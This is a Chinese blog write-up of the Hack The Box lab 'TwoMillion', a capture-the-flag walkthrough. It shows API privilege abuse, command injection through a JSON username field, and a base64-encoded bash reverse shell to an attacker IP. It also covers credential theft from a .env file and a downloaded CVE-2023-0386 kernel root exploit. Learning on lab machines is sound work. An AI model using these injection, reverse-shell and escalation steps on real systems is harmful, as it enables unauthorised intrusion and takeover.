TwoMillion

Test1

先namp扫描一下,发现有两个TCP端口22和80开放

image-20260407193912737

image-20260407193916542

这里80端口无法追踪到重定向,这里就需要用到DNS域名解析,在kali的/etc/hosts文件中添加ip和对应的网址

image-20260407193919890

1
10.129.229.66 2million.htb

image-20260407193923022

这样之后再重新去访问就可以访问到了

image-20260407193925266

Task2

找到有一个join界面,查看源码,搜索js,又看到题目提示是invite就找到了

1
inviteapi.min.js

image-20260407193927632

image-20260407193931126

Task3

点击进入inviteapi.min.js

image-20260407193938964

可以利用工具进行反混淆 de4js |JavaScript 反混淆器和解包器,点这个自动解码就可以看到两个函数

image-20260407193933564

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
function verifyInviteCode(code) {
var formData = {
"code": code
};
$.ajax({
type: "POST",
dataType: "json",
data: formData,
url: '/api/v1/invite/verify',
success: function (response) {
console.log(response)
},
error: function (response) {
console.log(response)
}
})
}

function makeInviteCode() {
$.ajax({
type: "POST",
dataType: "json",
url: '/api/v1/invite/how/to/generate',
success: function (response) {
console.log(response)
},
error: function (response) {
console.log(response)
}
})
}

image-20260407193942150

Test4

通过上面得到的两个函数,发现其中有一个好像可以得到邀请码,curl一下看看,得到了邀请码的base64编码

1
curl -X POST http://2million.htb/api/v1/invite/generate

curl -X [传参方式] [url]用于指定传参方法的参数

image-20260407193947129

解码结果

1
RVNSW-QN126-WE3BU-NYOHH

image-20260407193949252

Test5

这里进行目录扫描,发现有注册和登录界面

image-20260407193951788

先去注册一下,并且需要刚刚解码的邀请码,但是这里好像不能直接复制上去,输入也不行,就进行抓包吧

image-20260407193954157

image-20260407193956400

注册之后就可以登录了

image-20260407193958709

登录进去后在这个access下找到了Connection Pack,点击后会下载一个文件,直接右击复制一下下载路径

1
http://2million.htb/api/v1/user/vpn/generate

image-20260407194001362

Test6

因为上面的路径是api/v1,查看是否存在其他接口

image-20260407194003482

在admin下的api有三个

image-20260407194006493

Test7

在bp访问api/v1/admin/settings/update,需要修改请求方法,根据报错补全信息,这里要注意的是Cookie值需要在页面中的Network中拿到

image-20260407194008895

发现有json响应可以修改权限

image-20260407194011109

image-20260407194013550

这里发现依旧报错提示,没有is_admin参数,所以添加这个参数,然后又报错了没有这个email,所以就把email换成注册的那个email

image-20260407194015688

ok有正常回显了,可以验证一下,访问/api/v1/admin/auth,发现回显的是true,提权成功

image-20260407194017839

emmm就是一开始我打的是引导模式,有很多小问题,有点嫌慢就改成闯关模式了(就是只要拿到flag的那种,所以后面的Test就没做,想做的可以参考一下网上的博客https://buutt3rf1y.github.io/2025/03/19/HTB-TwoMillion/

UserFlag

然后再看/api/v1/admin/vpn/generate路径,依旧修改传参方式

这里修改了Content/Type为json格式,然后传一个username上去,发现返回了很多东西

image-20260407194021037

并且发现不管传什么都会有回显

image-20260407194023124

利用管道分隔符执行命令进行rce,发现成功了

1
{"username":"222;whoami  #"}

image-20260407194025211

1
{"username":"222;ls  #"}

image-20260407194029372

这里尝试了很多rce的命令,各种读文件,发现没有回显,看了学长的博客发现直接反弹shell了

1
bash -i >& /dev/tcp/[kali分配到的ip]/2333 0>&1

对其进行base64编码

1
{"username":"1;echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNy4xMTYvMjMzMyAwPiYx | base64 -d| /bin/bash;"}

image-20260407194032342

ok拿到shell了

利用find命令找user.txt

image-20260407194035065

尝试读取,但是要admin权限才能读到

查看网址根目录,发现有env文件

image-20260407194037619

在里面看到了admin的密码

image-20260407194040407

提权

1
su admin

image-20260407194042659

ok拿到第一个flag

image-20260407194045328

RootFlag

接下来就是继续提权为root,可以继续查找和admin相关的文件

1
find / -user admin -type f 2>/dev/null | grep -Ev "^/proc|^/run|^/sys"

image-20260407194048591

看到有一个mail目录下的文件,感觉有用,可以看一下

image-20260407194051101

1
2
3
4
5
6
7
8
9
10
11
12
13
From: ch4p <ch4p@2million.htb>
To: admin <admin@2million.htb>
Cc: g0blin <g0blin@2million.htb>
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: <9876543210@2million.htb>
X-Mailer: ThunderMail Pro 5.2

Hey admin,

I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.

HTB Godfather

是一份类似于邮件的,说了一堆英文,其中可以注意到有提到CVE,OverlayFS / FUSE,可以找到提升权限的漏洞

EXP:https://github.com/xkaneiki/CVE-2023-0386

下载后复制到kali

在kali上起一个服务

1
php -S 0:80

image-20260407194053856

再在服务器上下载exp

1
wget http://10.10.17.116/CVE-2023-0386-main.zip

image-20260407194057130

这里显示权限不足,那就尝试放到/tmp目录下

image-20260407194100117

然后解压并进入目录,然后参考github的教程做

1
2
unzip CVE-2023-0386-main.zip
cd /tmp/CVE-2023-0386-main

image-20260407194102683

1
2
make all
./fuse ./ovlcap/lower ./gc

在另一个终端输入

1
./exp

image-20260407194105791

现在是root身份,然后就可以读取/root/root.txt

image-20260407194109498

拿到了rootflag

小结

这也算是打的第三个靶机了,感觉渗透的话,首先要做的肯定就是nmap扫一下,看看哪些端口开着,也可以扫一下看看是否存在其他主机,或者用fscan扫描,之后好像就没有什么固定的做法了,就是一些基本的信息收集(比如扫目录,看源码之类的)和提权,基础的话就是要熟悉那些基本的扫描工具还有提权工具吧,还有就是要会一些基本的命令(比如php -Swgetchmod这些)还有反弹shell,感觉学的还不是很深,所以只能先浅显的总结一下


TwoMillion
https://colourful228.github.io/2026/04/06/TwoMillion/
作者
Colourful
发布于
2026年4月6日
更新于
2026年4月7日
许可协议